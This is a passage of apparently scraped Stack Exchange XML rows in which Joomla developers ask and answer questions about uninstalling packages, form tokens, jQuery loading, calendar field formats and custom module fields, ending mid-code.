  <row Id="28057" PostTypeId="1" CreationDate="2020-05-16T20:45:11.717" Score="0" ViewCount="91" Body="&lt;p&gt;Hello my joomla extension is done with a package whith contains the compenent, the library, the plugins, the medias. I have an auto-uninstall feature into my component, but when use it at the end Joomla! said that the package is still here . That's is the code that i use in a controller of my component :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$installer = new MyExtensionModelInstall;&#xA;$installer-&amp;gt;uninstall();&#xA;$installer-&amp;gt;deleteTables('myextension_');&#xA;&#xA;$installer = new \Joomla\CMS\Installer\Installer;&#xA;$component = ComponentHelper::getComponent('com_myextension');&#xA;$installer-&amp;gt;uninstall('component', $component-&amp;gt;id);&#xA;&#xA;if (File::exists(JPATH_ADMINISTRATOR . '/manifests/packages/pkg_myextension.xml'))&#xA;{&#xA;    File::delete(JPATH_ADMINISTRATOR . '/manifests/packages/pkg_myextension.xml');&#xA;}&#xA;&#xA;$this-&amp;gt;setRedirect('index.php?option=com_installer');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, how to uninstall too the extension package ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2022-02-07T01:04:05.337" Title="When uninstall component package isn't uninstalled" Tags="|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28058" PostTypeId="2" ParentId="28054" CreationDate="2020-05-16T21:26:14.153" Score="2" Body="&lt;p&gt;Here's my suggestion, assuming I've understood you correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a separate tab &quot;column ordering&quot; in the edit form to allow the admin to specify the order in which the various columns appear. This will need to be a custom field obviously. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest storing it in the database as a json string, with the key being the column name and the value being the order (1, 2, 3, ..). So designate a new column in your component database table, or add this json string into an existing json field if you already have one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try using the same UI approach as Joomla does to enable ordering. The code is in media/jui/js/sortablelist.js, and it's based on the &lt;a href=&quot;https://jqueryui.com/sortable/&quot; rel=&quot;nofollow noreferrer&quot;&gt;jQuery Sortable&lt;/a&gt; I think. So you could try making your own version of the javascript for this custom field. The Joomla js code makes ajax calls to the server whenever a row is dragged to a new position in the ordering, so you might want to follow that approach. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2020-05-16T22:32:17.737" LastActivityDate="2020-05-16T22:32:17.737" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28059" PostTypeId="2" ParentId="23641" CreationDate="2020-05-17T09:04:51.090" Score="1" Body="&lt;p&gt;yes indeed, it works with the acymailing plugin from the free version of acymailing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install it and in the plugin options select &quot;plain text for password&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then try with the following: &#xA;https ://siteadresshere?user=userhere&amp;amp;passw=passwordhere&lt;/p&gt;&#xA;" OwnerUserId="14304" LastActivityDate="2020-05-17T09:04:51.090" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28060" PostTypeId="2" ParentId="28057" CreationDate="2020-05-17T22:20:37.183" Score="1" Body="&lt;p&gt;In your &lt;code&gt;pkg_myextension.xml&lt;/code&gt; you need to declare, as a minimum, an &lt;code&gt;&amp;lt;uninstall&amp;gt;&lt;/code&gt; SQL file to remove the associated data from the Joomla database. It could be something as simple as below, depending on your database structure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DROP TABLE IF EXISTS `#__yourcomponent_table1`;&#xA;DROP TABLE IF EXISTS `#__yourcomponent_table2`;&#xA;&#xA;DELETE FROM `#__content_types` WHERE (type_alias LIKE 'com_yourcomponent.%');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You probably ought to review &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;the docs here&lt;/a&gt; too.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-05-17T22:20:37.183" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28061" PostTypeId="2" ParentId="23641" CreationDate="2020-05-18T10:18:40.423" Score="1" Body="&lt;p&gt;Thanks for all. I solve with this free extension:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.regularlabs.com/extensions/iplogin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.regularlabs.com/extensions/iplogin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2020-05-18T10:18:40.423" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28063" PostTypeId="1" AcceptedAnswerId="28065" CreationDate="2020-05-18T18:10:18.700" Score="0" ViewCount="175" Body="&lt;p&gt;I have a page with a form, this form redirects the user to another page, however the user can only access this page if the form has been subimitted, for that I check if there's any token.&lt;/p&gt;&#xA;&lt;p&gt;I have the following piece of code in my viw file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; if( JRequest::checkToken() ==false){&#xA;       echo &amp;quot;The form was not submitted&amp;quot;;   &#xA;    }else{&#xA;    &#xA;    // Display the view&#xA;    parent::display($tpl);&#xA;    &#xA;    }&#xA;    // Set the document&#xA;    $this-&amp;gt;setDocument();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This partially works because it indeed verifies whether the user submitted the form or not; however, when the user submits the form for the first time, it does not recoginse the token (because it displays the error message &amp;quot;The form was not submitted&amp;quot;) but if I come back to the form page and submit the form again, it works fine.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;My question is:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;What is the proper way to check the form submission using &lt;code&gt;JRequest::checkToken()&lt;/code&gt; or any similar method and where would be the best way to place the function? Would it be in the view file?&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2020-05-19T16:56:51.370" Title="How to properly verify whether there's a token or not - Joomla checkToken() function" Tags="|joomla-3.x|security-token|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28064" PostTypeId="2" ParentId="28063" CreationDate="2020-05-19T05:11:09.067" Score="2" Body="&lt;p&gt;&lt;code&gt;JRequest::checkToken()&lt;/code&gt; is deprecated. So use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( JSession::checkToken() ==false){&#xA;       echo &quot;The form was not submitted&quot;;   &#xA;    }else{&#xA;&#xA;    // Display the view&#xA;    parent::display($tpl);&#xA;&#xA;    }&#xA;    // Set the document&#xA;    $this-&amp;gt;setDocument();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR better you can even use &lt;code&gt;JSession::getFormToken()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8486" LastActivityDate="2020-05-19T05:11:09.067" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28065" PostTypeId="2" ParentId="28063" CreationDate="2020-05-19T08:02:24.773" Score="2" Body="&lt;p&gt;I think you could more easily achieve what you're trying to do by displaying the other page as a response to the HTTP POST associated with the form submission, rather than by using a redirect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a form is submitted the core Joomla components always redirect to another page via a GET, but you don't have to follow that approach. You can provide the other page as the POST response if you just want to display it after the form has been submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output the token in the layout file of the form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the form is submitted you'll get a POST request and you should check the token in your controller  using &lt;code&gt;JSession::checkToken()&lt;/code&gt; (either directly or via inheritance from a parent &lt;code&gt;AdminModel&lt;/code&gt; method which you call). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your controller define the view and associated model and then call &lt;code&gt;display()&lt;/code&gt; on that view.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-05-19T08:02:24.773" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28066" PostTypeId="1" AcceptedAnswerId="28067" CreationDate="2020-05-19T10:37:41.437" Score="2" ViewCount="1026" Body="&lt;p&gt;I'm not a programmer (This is my hobby, but I like to learn new things). :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm developing a JComponent on my side, and I need to integrate an Ajax Call in order to check something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have this problem: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here my code put in media/my_component/js&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;&#xA;&#xA;$(&quot;#avanti&quot;).click(function(){&#xA;&#xA;&#xA;  var codice_fiscale = $(&quot;#codice_fiscale&quot;).val();&#xA;&#xA;&#xA;//chiamata ajax&#xA;  $.ajax({&#xA;&#xA;   //imposto il tipo di invio dati (GET O POST)&#xA;    type: &quot;POST&quot;,&#xA;&#xA;    //Dove devo inviare i dati recuperati dal form?&#xA;    url: 'index.php?option=com_doclf_jsajax&amp;amp;view=taskajaxes&amp;amp;task=checkcodicefiscale',&#xA;&#xA;    //Quali dati devo inviare?&#xA;    data: &quot;codice_fiscale=&quot; + codice_fiscale,&#xA;    dataType: &quot;html&quot;,&#xA;&#xA;    //Inizio visualizzazione errori&#xA;    success: function(msg)&#xA;    {&#xA;      $(&quot;#risultato&quot;).html(msg); // messaggio di avvenuta aggiunta valori al db (preso dal file risultato_aggiunta.php) potete impostare anche un alert(&quot;Aggiunto, grazie!&quot;);&#xA;    },&#xA;    error: function()&#xA;    {&#xA;      alert(&quot;Chiamata fallita, si prega di riprovare...&quot;); //sempre meglio impostare una callback in caso di fallimento&#xA;    }&#xA;  });&#xA;});&#xA;  });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, if I call it from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = Factory::getDocument();&#xA;$doc-&amp;gt;addScript(Uri::base() . '/media/com_doclf_users/js/codice_fiscale.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I receive a error on debug &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ncaught TypeError: $ is not a function&#xA;at codice_fiscale.js:1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead, if I put it into a default.php inside the script tag (like &lt;code&gt;&amp;lt;script&amp;gt; my script &amp;lt;/script&amp;gt;&lt;/code&gt;) it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody explain to me why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andrea&lt;/p&gt;&#xA;" OwnerUserId="14306" LastEditorUserId="14306" LastEditDate="2020-05-19T10:43:42.057" LastActivityDate="2020-05-19T17:18:37.140" Title="Js/Ajax function into a Js file doesn't work" Tags="|joomla-3.x|javascript|ajax|form|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28067" PostTypeId="2" ParentId="28066" CreationDate="2020-05-19T12:35:13.853" Score="1" Body="&lt;p&gt;You'd be best off using the &lt;code&gt;jQuery&lt;/code&gt; global scope and passing &lt;code&gt;$&lt;/code&gt; as an alias inside the function instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This helps prevent any conflicts with other 3rd party libraries that also use the &lt;code&gt;$&lt;/code&gt; namespace.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2020-05-19T12:35:13.853" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28068" PostTypeId="1" AcceptedAnswerId="28082" CreationDate="2020-05-19T15:37:07.907" Score="0" ViewCount="220" Body="&lt;p&gt;Below is my calendar field in the form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;field name=&quot;job_next_run_date_time&quot; &#xA;        type=&quot;calendar&quot; &#xA;        label=&quot;JSCH_JOBV_NEXT_DATE_TIME&quot;&#xA;        description=&quot;JSCH_JOBV_NEXT_DATE_TIME_DESC&quot;&#xA;        format=&quot;%Y-%m-%d %H:%I:%S&quot;&#xA;        readonly=&quot;readonly&quot;&#xA;        class=&quot;readonly&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In database the  value is stored for the field as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2020-05-19 15:05:00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But on the screen I am rendering using the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;form-&amp;gt;renderField('job_next_run_date_time');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it is displaying as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2020-05-19 03:03:00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why the hours part is not shown in 24 hours and minute part is changed from 05 to 03?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When changed the calendar field to a normal text field it displayed correctly as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2020-05-19 15:05:00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On further investigation on the core Joomla library I found the below piece of code in &lt;code&gt;\libraries\joomla\form\fields\calendar.php&lt;/code&gt;.  I added an echo statement before and after.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;value;  //malai this prints 2020-05-19 15:05:00&#xA;$tz = date_default_timezone_get();&#xA;date_default_timezone_set('UTC');&#xA;$this-&amp;gt;value = strftime($this-&amp;gt;format, strtotime($this-&amp;gt;value));&#xA;date_default_timezone_set($tz);&#xA;echo $this-&amp;gt;value;  //malai this prints 2020-05-19 15:03:00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does this gives any clue???&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2020-05-20T14:52:25.020" LastActivityDate="2020-05-20T15:00:37.577" Title="Joomla Calendar format not displaying the correct format" Tags="|joomla-3.x|form-fields-types|calendar|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="28069" PostTypeId="2" ParentId="27963" CreationDate="2020-05-19T16:00:15.533" Score="0" Body="&lt;p&gt;Not sure you can. The update process isn't supposed to involve the component being updated until after the download succeeds; everything before that point is rightly the domain of the system, not the component. (After all, if the download fails, there's nothing for the system to read a message from, and the component being updated isn't invoked at all during the process, in no small part because PHP really doesn't like updates being made to code that's already been loaded.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a long shot attempt at a solution for future customers: Maybe package your component with a plugin that runs when onInstallerAfterInstaller fires, where you can look for the the package being installed and the reason it failed. It might work, but that wouldn't help current customers and is way too complex for me to be happy with. (I like simpler approaches, I just don't see how this gets simple. If you do, have at it with my blessing.)&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2020-05-19T16:00:15.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28070" PostTypeId="1" AcceptedAnswerId="28106" CreationDate="2020-05-19T16:11:20.687" Score="0" ViewCount="596" Body="&lt;p&gt;I have currently created a Joomla Module, and i would like to make it a bit more advanced now. I have created a Custom field, and i have tried to add it to the mod_NAMEOFMODULE.xml file. To use it when configuring the module. Here is the code for the custom field: &#xA;`&#xA;&#xA;&lt;p&gt;use Joomla\CMS\Form\FormHelper;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FormHelper::loadFieldClass('list');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;class UserFieldList extends JFormFieldList {&#xA;    protected $type = 'UserInfo';&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getOptions() {&#xA;    $cities = array(&#xA;        array('value' =&amp;gt; 1, 'text' =&amp;gt; 'New York'),&#xA;        array('value' =&amp;gt; 2, 'text' =&amp;gt; 'Chicago'),&#xA;        array('value' =&amp;gt; 3, 'text' =&amp;gt; 'San Francisco'),&#xA;    );&#xA;    // Merge any additional options in the XML definition.&#xA;    $options = array_merge(parent::getOptions(), $cities);&#xA;&#xA;    // pre-select values 2 and 3 by setting the protected $value property&#xA;    $this-&amp;gt;value = array(2, 3);&#xA;&#xA;    return $options;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}` It is from the tutorial by joomla: &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type#Location_of_files&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type#Location_of_files&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .xml file code here: &lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension type=&quot;module&quot; version=&quot;3.1.0&quot; client=&quot;site&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Hello, World!&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;John Doe&amp;lt;/author&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;A simple Hello, World! module.&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename&amp;gt;mod_helloworld.xml&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename module=&quot;mod_helloworld&quot;&amp;gt;mod_helloworld.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;helper.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;tmpl/default.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;tmpl/index.html&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;UserFieldList.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;config&amp;gt;&#xA;      &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;basic&quot; addfilepath=&quot;/UserFieldList.php&quot;&amp;gt;&#xA;          &amp;lt;field name=&quot;userlist&quot; type=&quot;UserInfo&quot; label=&quot;userlist&quot;&amp;gt;&#xA;            &amp;lt;option&amp;gt;YNO&amp;lt;/option&amp;gt;&#xA;          &amp;lt;/field&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;      &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&lt;/code&gt;. This is taken from the module tutorial by joomla: &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_simple_module&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it can be seen in the .xml file, i have been trying to add the filepath in  as seen in the custom field tutorial as well as providing the correct type under . The problem is, when i install the module, it only displays a textfield, with the correct name &quot;userlist&quot;. It is my understanding, that the custom field is not recognised. Since the textfield is displayed, but not the desired dropdown with 3 options as seen from the UserFieldList class.&#xA;So is there a way to implement a customfield inside the modules .xml file?&#xA;Thank you in advance :)&lt;/p&gt;&#xA;" OwnerUserId="14308" LastActivityDate="2020-05-26T15:50:53.563" Title="Insert custom field into modules .xml file" Tags="|module|custom-field|custom-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28071" PostTypeId="2" ParentId="27963" CreationDate="2020-05-19T16:58:51.110" Score="0" Body="&lt;p&gt;onExtensionAfterUpdate is the plugin method you're looking for. You can add this method to your existing plugin. If I understand your issue correctly, &lt;code&gt;raiseWarning&lt;/code&gt; has already been called, so you could just simply unset it, and set your own error text. &lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-05-19T16:58:51.110" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28072" PostTypeId="2" ParentId="28068" CreationDate="2020-05-19T17:11:09.463" Score="0" Body="&lt;p&gt;Your &lt;code&gt;%I&lt;/code&gt; should be &lt;code&gt;%i&lt;/code&gt;, as per the &lt;a href=&quot;https://www.php.net/manual/en/function.date.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;php docs&lt;/a&gt; you are setting a boolean value (&lt;code&gt;Whether or not the date is in daylight saving time - 1 if Daylight Saving Time, 0 otherwise&lt;/code&gt;) in the middle of the datestring. I assume you were probably looking for lowercase &lt;code&gt;i&lt;/code&gt;, which is minutes with leading zeros.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-05-19T17:11:09.463" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28073" PostTypeId="2" ParentId="28066" CreationDate="2020-05-19T17:18:37.140" Score="0" Body="&lt;p&gt;The &lt;code&gt;addScript&lt;/code&gt; method will be adding the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag for your JS before &lt;code&gt;jQuery&lt;/code&gt;. You can solve this easily by adding &lt;code&gt;JHtml::_('jquery.framework');&lt;/code&gt; before your &lt;code&gt;addScript&lt;/code&gt;. Still, probably safer to use the jQuery global and $ as an alias within your function.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-05-19T17:18:37.140" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28074" PostTypeId="2" ParentId="23416" CreationDate="2020-05-19T17:33:01.697" Score="1" Body="&lt;p&gt;I've handled this one fairly simply recently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a custom template with a custom field, the custom field will hold the &quot;external&quot; URL. In your custom template, do your checks whether the user is authenticated or not, and redirect as necessary. Here's a snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$message = &quot;You must be logged in to view this content&quot;;&#xA;&#xA;if (JFactory::getUser()-&amp;gt;guest) {&#xA;    $url = JRoute::_('index.php?option=com_users&amp;amp;view=login');&#xA;}&#xA;else { &#xA;    $url = $var-containing-your-external-url;&#xA;}&#xA;$app-&amp;gt;redirect($url, $message);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, because your external URL is not within Joomla's control, you have no method to prevent a non-logged in user navigating directly to the external page in their browser.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastEditorUserId="5627" LastEditDate="2020-05-20T00:26:24.283" LastActivityDate="2020-05-20T00:26:24.283" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28075" PostTypeId="1" CreationDate="2020-05-19T20:44:35.430" Score="-1" ViewCount="32" Body="&lt;p&gt;I have been searching and googling for the timepicker like Mozilla thunderbird (see attachment). I need only a timepicker not a datetimepicker. I hope that it is in jQuery so that I can add this timepicker in the Joomla backend.&#xA;Does any one know of this exist as open source. Or a timepicker which comes close to it. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/56lte.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Timepicker Mozilla thunderbird&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ocN0Z.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ocN0Z.jpg&quot; alt=&quot;Timepicker Mozilla thunderbird - expand the 5 min. to 1 min&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14309" LastActivityDate="2020-05-20T00:20:07.637" Title="Searching for the timepicker like Mozilla thunderbird" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28076" PostTypeId="2" ParentId="28075" CreationDate="2020-05-20T00:20:07.637" Score="0" Body="&lt;p&gt;If you need to select date and time, the native Calendar form field will work, using &lt;code&gt;default=&quot;now&quot; format=&quot;%h:%i:%s&quot;&lt;/code&gt;, thus, the user can select a date and time, but only the time is saved to the database. If you do not want the user to select a date, you could always just override either the calendar field layout, or simply hide the date selectors with something like &lt;code&gt;.calendar-header, .daysrow {display: none;}&lt;/code&gt;. Simple, but effective.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-05-20T00:20:07.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28077" PostTypeId="1" AcceptedAnswerId="28078" CreationDate="2020-05-20T01:39:40.500" Score="0" ViewCount="217" Body="&lt;p&gt;I have created a Basic Joomla Component with Component Creator in order to prepare every single files in less the 1 minute :D (I'm lazy, i know.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one view default and one for form edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to extend the class created by the Component Creator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this controller.php &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;jimport('joomla.application.component.controller');&#xA;&#xA;use \Joomla\CMS\Factory;&#xA;&#xA;/**&#xA; * Class Doclf_usersController&#xA; *&#xA; * @since  1.6&#xA; */&#xA;class Doclf_usersController extends \Joomla\CMS\MVC\Controller\BaseController&#xA;{&#xA;    /**&#xA;     * Method to display a view.&#xA;     *&#xA;     * @param   boolean $cachable  If true, the view output will be cached&#xA;     * @param   mixed   $urlparams An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}.&#xA;     *&#xA;     * @return  JController   This object to support chaining.&#xA;     *&#xA;     * @since    1.5&#xA;     * @throws Exception&#xA;     */&#xA;    public function display($cachable = false, $urlparams = false)&#xA;    {&#xA;        $app  = Factory::getApplication();&#xA;        $view = $app-&amp;gt;input-&amp;gt;getCmd('view', 'iscrizionelavoratoris');&#xA;        $app-&amp;gt;input-&amp;gt;set('view', $view);&#xA;&#xA;        parent::display($cachable, $urlparams);&#xA;&#xA;        return $this;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now i need to extend this class with my custom class, something like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class DivStyle extends Doclf_usersController  {&#xA;&#xA;    private $GetElementRisultato = &quot;document.getElementById('risultato')&quot;;&#xA;    private $StyleColor = '.style.color =';&#xA;    private $Color = '&quot;red&quot;'&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, it doesn't work...&#xA;I tried also &lt;code&gt;extends \Joomla\CMS\MVC\Controller\BaseController&lt;/code&gt;but no win.... &#xA;Error is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;0 syntax error, unexpected 'class' (T_CLASS), expecting function (T_FUNCTION) or const (T_CONST)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i add my new class extend?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATED CODE BUT STILL DOESN'T WORK :(&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    defined('_JEXEC') or die;&#xA;&#xA;jimport('joomla.application.component.controller');&#xA;&#xA;use \Joomla\CMS\Factory;&#xA;&#xA;/**&#xA; * Class Doclf_usersController&#xA; *&#xA; * @since  1.6&#xA; */class Doclf_usersController extends \Joomla\CMS\MVC\Controller\BaseController&#xA;{&#xA;    /**&#xA;     * Method to display a view.&#xA;     *&#xA;     * @param   boolean $cachable  If true, the view output will be cached&#xA;     * @param   mixed   $urlparams An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}.&#xA;     *&#xA;     * @return  JController   This object to support chaining.&#xA;     *&#xA;     * @since    1.5&#xA;     * @throws Exception&#xA;     */&#xA;    public function display($cachable = false, $urlparams = false)&#xA;    {&#xA;        $app  = Factory::getApplication();&#xA;        $view = $app-&amp;gt;input-&amp;gt;getCmd('view', 'iscrizionelavoratoris');&#xA;        $app-&amp;gt;input-&amp;gt;set('view', $view);&#xA;&#xA;        parent::display($cachable, $urlparams);&#xA;&#xA;        return $this;&#xA;    }&#xA;&#xA;    class DivStyle extends Doclf_usersController {&#xA;&#xA;        private $GetElementRisultato = &quot;document.getElementById('risultato')&quot;;&#xA;        private $StyleColor = '.style.color =';&#xA;        private $Color = '&quot;red&quot;';&#xA;    }&#xA;&#xA;    public function checkcodicefiscale() {&#xA;        $cf = new CodiceFiscale();&#xA;        $app = Factory::getApplication();   &#xA;        $input = $app-&amp;gt;input;&#xA;&#xA;        $cf -&amp;gt;SetCF($input-&amp;gt;get('codice_fiscale', '')); &#xA;&#xA;        if ($input-&amp;gt;exists('codice_fiscale')) {&#xA;            if 